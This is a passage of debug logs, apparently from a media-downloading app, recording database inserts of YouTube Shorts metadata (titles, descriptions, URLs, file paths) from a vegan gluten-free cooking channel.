rhubarb pie, which you see the recipe for below. If you were a teenage in 1999 then you'll remember this scene vividly. I hope you remember my pie the same way, but please don't do what Jim did to his pie, it's better eaten.\n\nFull recipe video: https://youtu.be/42Ra2CeeUM8", "What does 3rd base feel like? (American Pie Clip - If ya know, ya know)", 1, 15, false, "FHj5mPI1QXk", "https://www.youtube.com/shorts/FHj5mPI1QXk", "/downloads/downloads/alec/Steamy Vegan/2022-06-02 What does 3rd base feel like? (American Pie Clip - If ya know, ya know)/What does 3rd base feel like? (American Pie Clip - If ya know, ya know) [FHj5mPI1QXk].NA", true, ~U[2022-06-02 16:00:13Z]] 20:31:10.925 [debug] QUERY OK source="sources" db=0.8ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.927 [debug] QUERY OK source="media_items" db=1.7ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-02 01:00:13Z], 1] 20:31:10.928 [debug] QUERY OK source="media_items" db=0.7ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full recipe video here: https://youtu.be/rbG65z34oOI\nI love these apple cinnamon quinoa oat bars because they're easy to make, great grab and go snacks, and they're filling. I've made mine vegan and gluten free and they turned out perfect.", "Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts", "85b88036-0da2-43f0-8126-dc3e95a8f9d6", 1, [], 55, false, "yt4uo-Z0TG8", "https://www.youtube.com/shorts/yt4uo-Z0TG8", 405, "/downloads/downloads/alec/Steamy Vegan/2022-06-02 Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts/Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts [yt4uo-Z0TG8].NA", false, false, true, 3, ~U[2022-06-02 01:00:13Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Full recipe video here: https://youtu.be/rbG65z34oOI\nI love these apple cinnamon quinoa oat bars because they're easy to make, great grab and go snacks, and they're filling. I've made mine vegan and gluten free and they turned out perfect.", "Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts", 1, 55, false, "yt4uo-Z0TG8", "https://www.youtube.com/shorts/yt4uo-Z0TG8", "/downloads/downloads/alec/Steamy Vegan/2022-06-02 Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts/Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts [yt4uo-Z0TG8].NA", true, ~U[2022-06-02 01:00:13Z]] 20:31:10.928 [debug] QUERY OK source="sources" db=0.5ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.931 [debug] QUERY OK source="media_items" db=1.4ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-01 20:30:33Z], 1] 20:31:10.932 [debug] QUERY OK source="media_items" db=0.8ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This almond flour pie crust is tender, melt-in-your-mouth buttery goodness! \n\nWant the full recipe and ingredients PLUS the full video for my latest Strawberry Rhubarb Pie? 🍓 Head to my blog: https://steamyvegankitchen.com/strawberry-rhubarb-pie/\n\nYouTube video is also here:\nhttps://youtu.be/42Ra2CeeUM8", "How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy!", "2c49c1d0-38fa-47b3-8608-387505628334", 1, [], 60, false, "w0twf3Zv7rs", "https://www.youtube.com/shorts/w0twf3Zv7rs", 406, "/downloads/downloads/alec/Steamy Vegan/2022-06-01 How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy!/How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy! [w0twf3Zv7rs].NA", false, false, true, 2, ~U[2022-06-01 20:30:33Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This almond flour pie crust is tender, melt-in-your-mouth buttery goodness! \n\nWant the full recipe and ingredients PLUS the full video for my latest Strawberry Rhubarb Pie? 🍓 Head to my blog: https://steamyvegankitchen.com/strawberry-rhubarb-pie/\n\nYouTube video is also here:\nhttps://youtu.be/42Ra2CeeUM8", "How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy!", 1, 60, false, "w0twf3Zv7rs", "https://www.youtube.com/shorts/w0twf3Zv7rs", "/downloads/downloads/alec/Steamy Vegan/2022-06-01 How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy!/How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy! [w0twf3Zv7rs].NA", true, ~U[2022-06-01 20:30:33Z]] 20:31:10.933 [debug] QUERY OK source="sources" db=1.0ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.935 [debug] QUERY OK source="media_items" db=1.9ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-31 23:07:33Z], 1] 20:31:10.936 [debug] QUERY OK source="media_items" db=0.7ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Peter Griffin shares his wisdom on eating healthy while he opens his own food truck in this episode of the Family Guy. Definitely worried about getting devoured by gremlins as we eat gluten free and vegan although they are pretty cute if you ask me. \n\nSubscribe for more daily humor and healthy recipes!", "Peter Griffin’s wisdom on eating healthy - Family Guy", "9e728601-c071-4687-b7b8-6b864d45cbac", 1, [], 14, false, "84g_AH85A48", "https://www.youtube.com/shorts/84g_AH85A48", 407, "/downloads/downloads/alec/Steamy Vegan/2022-05-31 Peter Griffin’s wisdom on eating healthy - Family Guy/Peter Griffin’s wisdom on eating healthy - Family Guy [84g_AH85A48].NA", false, false, true, 3, ~U[2022-05-31 23:07:33Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Peter Griffin shares his wisdom on eating healthy while he opens his own food truck in this episode of the Family Guy. Definitely worried about getting devoured by gremlins as we eat gluten free and vegan although they are pretty cute if you ask me. \n\nSubscribe for more daily humor and healthy recipes!", "Peter Griffin’s wisdom on eating healthy - Family Guy", 1, 14, false, "84g_AH85A48", "https://www.youtube.com/shorts/84g_AH85A48", "/downloads/downloads/alec/Steamy Vegan/2022-05-31 Peter Griffin’s wisdom on eating healthy - Family Guy/Peter Griffin’s wisdom on eating healthy - Family Guy [84g_AH85A48].NA", true, ~U[2022-05-31 23:07:33Z]] 20:31:10.937 [debug] QUERY OK source="sources" db=0.6ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.940 [debug] QUERY OK source="media_items" db=2.3ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-31 16:19:04Z], 1] 20:31:10.942 [debug] QUERY OK source="media_items" db=1.1ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Because growing your own food is SEXY! I love my iHarvest by @igworks01 and have saved so much money by growing my own greens and veggies. \n\nI'm sexy and I grow it! 😍", "I’m sexy and I GROW IT 🌱🌿🥬", "bf9933b9-bb00-4539-bc1d-d27e1eacc92d", 1, [], 15, false, "My-7v6ENHRY", "https://www.youtube.com/shorts/My-7v6ENHRY", 408, "/downloads/downloads/alec/Steamy Vegan/2022-05-31 I’m sexy and I GROW IT 🌱🌿🥬/I’m sexy and I GROW IT 🌱🌿🥬 [My-7v6ENHRY].NA", false, false, true, 3, ~U[2022-05-31 16:19:04Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Because growing your own food is SEXY! I love my iHarvest by @igworks01 and have saved so much money by growing my own greens and veggies. \n\nI'm sexy and I grow it! 😍", "I’m sexy and I GROW IT 🌱🌿🥬", 1, 15, false, "My-7v6ENHRY", "https://www.youtube.com/shorts/My-7v6ENHRY", "/downloads/downloads/alec/Steamy Vegan/2022-05-31 I’m sexy and I GROW IT 🌱🌿🥬/I’m sexy and I GROW IT 🌱🌿🥬 [My-7v6ENHRY].NA", true, ~U[2022-05-31 16:19:04Z]] 20:31:10.943 [debug] QUERY OK source="sources" db=0.5ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.945 [debug] QUERY OK source="media_items" db=2.2ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-31 02:27:21Z], 1] 20:31:10.946 [debug] QUERY OK source="media_items" db=0.8ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These dark chocolate fruit and nut clusters are so delicious and so hot you'll drool over them just like you do over Patrick Swayze's dance moves in Dirty Dancing. \n\nFull Recipe Video: https://youtu.be/Vz0RjvXVJf4\n\nAlso, if you like chocolate check out my Chocolate Avocado Pie recipe here: https://youtu.be/8GSEsZWhkhs", "A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts", "69d48398-14ef-48ae-be8f-2b24ab011ddd", 1, [], 15, false, "Pxy6PbciIew", "https://www.youtube.com/shorts/Pxy6PbciIew", 409, "/downloads/downloads/alec/Steamy Vegan/2022-05-31 A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts/A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts [Pxy6PbciIew].NA", false, false, true, 3, ~U[2022-05-31 02:27:21Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "These dark chocolate fruit and nut clusters are so delicious and so hot you'll drool over them just like you do over Patrick Swayze's dance moves in Dirty Dancing. \n\nFull Recipe Video: https://youtu.be/Vz0RjvXVJf4\n\nAlso, if you like chocolate check out my Chocolate Avocado Pie recipe here: https://youtu.be/8GSEsZWhkhs", "A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts", 1, 15, false, "Pxy6PbciIew", "https://www.youtube.com/shorts/Pxy6PbciIew", "/downloads/downloads/alec/Steamy Vegan/2022-05-31 A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts/A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts [Pxy6PbciIew].NA", true, ~U[2022-05-31 02:27:21Z]] 20:31:10.947 [debug] QUERY OK source="sources" db=0.7ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.949 [debug] QUERY OK source="media_items" db=2.0ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-30 16:26:10Z], 1] 20:31:10.952 [debug] QUERY OK source="media_items" db=0.8ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan and gluten free dark chocolate raspberry scones are so mouth watering that they belong in a sex scene with Patrick Swayze. You've gotta try these, they make the perfect vegan and gluten free snack with your morning coffee or while watching a Patrick Swayze movie.\n\nFull Video: https://youtu.be/Vz0RjvXVJf4\n\nDon't forget to subscribe!!!", "Food so steamy it belongs in a sex scene with Patrick Swayze #shorts", "987be0e0-76ef-43ea-8ee1-6db9ab5547bd", 1, [], 14, false, "UcwjoUFiMT8", "https://www.youtube.com/shorts/UcwjoUFiMT8", 410, "/downloads/downloads/alec/Steamy Vegan/2022-05-30 Food so steamy it belongs in a sex scene with Patrick Swayze #shorts/Food so steamy it belongs in a sex scene with Patrick Swayze #shorts [UcwjoUFiMT8].NA", false, false, true, 2, ~U[2022-05-30 16:26:10Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "These vegan and gluten free dark chocolate raspberry scones are so mouth watering that they belong in a sex scene with Patrick Swayze. You've gotta try these, they make the perfect vegan and gluten free snack with your morning coffee or while watching a Patrick Swayze movie.\n\nFull Video: https://youtu.be/Vz0RjvXVJf4\n\nDon't forget to subscribe!!!", "Food so steamy it belongs in a sex scene with Patrick Swayze #shorts", 1, 14, false, "UcwjoUFiMT8", "https://www.youtube.com/shorts/UcwjoUFiMT8", "/downloads/downloads/alec/Steamy Vegan/2022-05-30 Food so steamy it belongs in a sex scene with Patrick Swayze #shorts/Food so steamy it belongs in a sex scene with Patrick Swayze #shorts [UcwjoUFiMT8].NA", true, ~U[2022-05-30 16:26:10Z]] 20:31:10.953 [debug] QUERY OK source="sources" db=0.5ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.955 [debug] QUERY OK source="media_items" db=2.0ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-30 01:44:21Z], 1] 20:31:10.956 [debug] QUERY OK source="media_items" db=0.7ms idle=8.4ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱", "b15b996d-4e13-4a6c-9da2-b8e243327c4c", 1, [], 15, false, "2VZEaMVmQyE", "https://www.youtube.com/shorts/2VZEaMVmQyE", 411, "/downloads/downloads/alec/Steamy Vegan/2022-05-30 REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱/REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱 [2VZEaMVmQyE].NA", false, false, true, 2, ~U[2022-05-30 01:44:21Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "", "REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱", 1, 15, false, "2VZEaMVmQyE", "https://www.youtube.com/shorts/2VZEaMVmQyE", "/downloads/downloads/alec/Steamy Vegan/2022-05-30 REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱/REGROW YOUR GREEN ONIONS IN WATER! Food hacks to help you save money! 🌱 [2VZEaMVmQyE].NA", true, ~U[2022-05-30 01:44:21Z]] 20:31:10.958 [debug] QUERY OK source="sources" db=1.0ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.960 [debug] QUERY OK source="media_items" db=1.9ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-29 18:00:25Z], 1] 20:31:10.962 [debug] QUERY OK source="media_items" db=0.6ms idle=7.4ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How to stop your herbs from wilting! 🌿 Vegan food hacks", "66a91379-646b-4e4b-aba6-98a6b9fdef57", 1, [], 25, false, "oRk9ypNQYK8", "https://www.youtube.com/shorts/oRk9ypNQYK8", 412, "/downloads/downloads/alec/Steamy Vegan/2022-05-29 How to stop your herbs from wilting! 🌿 Vegan food hacks/How to stop your herbs from wilting! 🌿 Vegan food hacks [oRk9ypNQYK8].NA", false, false, true, 2, ~U[2022-05-29 18:00:25Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "", "How to stop your herbs from wilting! 🌿 Vegan food hacks", 1, 25, false, "oRk9ypNQYK8", "https://www.youtube.com/shorts/oRk9ypNQYK8", "/downloads/downloads/alec/Steamy Vegan/2022-05-29 How to stop your herbs from wilting! 🌿 Vegan food hacks/How to stop your herbs from wilting! 🌿 Vegan food hacks [oRk9ypNQYK8].NA", true, ~U[2022-05-29 18:00:25Z]] 20:31:10.963 [debug] QUERY OK source="sources" db=0.6ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.965 [debug] QUERY OK source="media_items" db=2.2ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-29 14:15:05Z], 1] 20:31:10.966 [debug] QUERY OK source="media_items" db=0.6ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["7 years ago, my husband and I stopped eating gluten and it changed our lives. This scene from Southpark gives a pretty good explanation of why we don't eat gluten.\n\nCheck Out Some of the Foods We Eat on a Gluten-Free and Vegan Diet in this Video: https://youtu.be/TMKNdPVZHg8", "Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts", "0cbb4c82-efd3-4125-a052-4e037871ea9c", 1, [], 60, false, "nZ_0-cenouI", "https://www.youtube.com/shorts/nZ_0-cenouI", 413, "/downloads/downloads/alec/Steamy Vegan/2022-05-29 Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts/Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts [nZ_0-cenouI].NA", false, false, true, 2, ~U[2022-05-29 14:15:05Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "7 years ago, my husband and I stopped eating gluten and it changed our lives. This scene from Southpark gives a pretty good explanation of why we don't eat gluten.\n\nCheck Out Some of the Foods We Eat on a Gluten-Free and Vegan Diet in this Video: https://youtu.be/TMKNdPVZHg8", "Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts", 1, 60, false, "nZ_0-cenouI", "https://www.youtube.com/shorts/nZ_0-cenouI", "/downloads/downloads/alec/Steamy Vegan/2022-05-29 Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts/Why My Husband and I Don't Eat Gluten - Explained By Southpark (Explicit) #shorts [nZ_0-cenouI].NA", true, ~U[2022-05-29 14:15:05Z]] 20:31:10.967 [debug] QUERY OK source="sources" db=0.6ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.968 [debug] QUERY OK source="media_items" db=1.6ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-28 23:30:02Z], 1] 20:31:10.969 [debug] QUERY OK source="media_items" db=0.8ms idle=6.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's ok Jerry Seinfeld, salads can be healthy, delicious and even cool these days. Try our vegan and gluten free nicoise salad that's more than \"just a salad.\"\n\nFull Recipe Video: https://youtu.be/Ztps-dPnqW8", "A salad that's more than \"just a salad\" as Jerry Seinfeld said it #shorts", "284dc39b-b1a1-4dba-bcc7-54e47be0e3fe", 1, [], 12, false, "QXmocYRNUFc", "https://www.youtube.com/shorts/QXmocYRNUFc", 414, "/downloads/downloads/alec/Steamy Vegan/2022-05-28 A salad that's more than "just a salad" as Jerry Seinfeld said it #shorts/A salad that's more than "just a salad" as Jerry Seinfeld said it 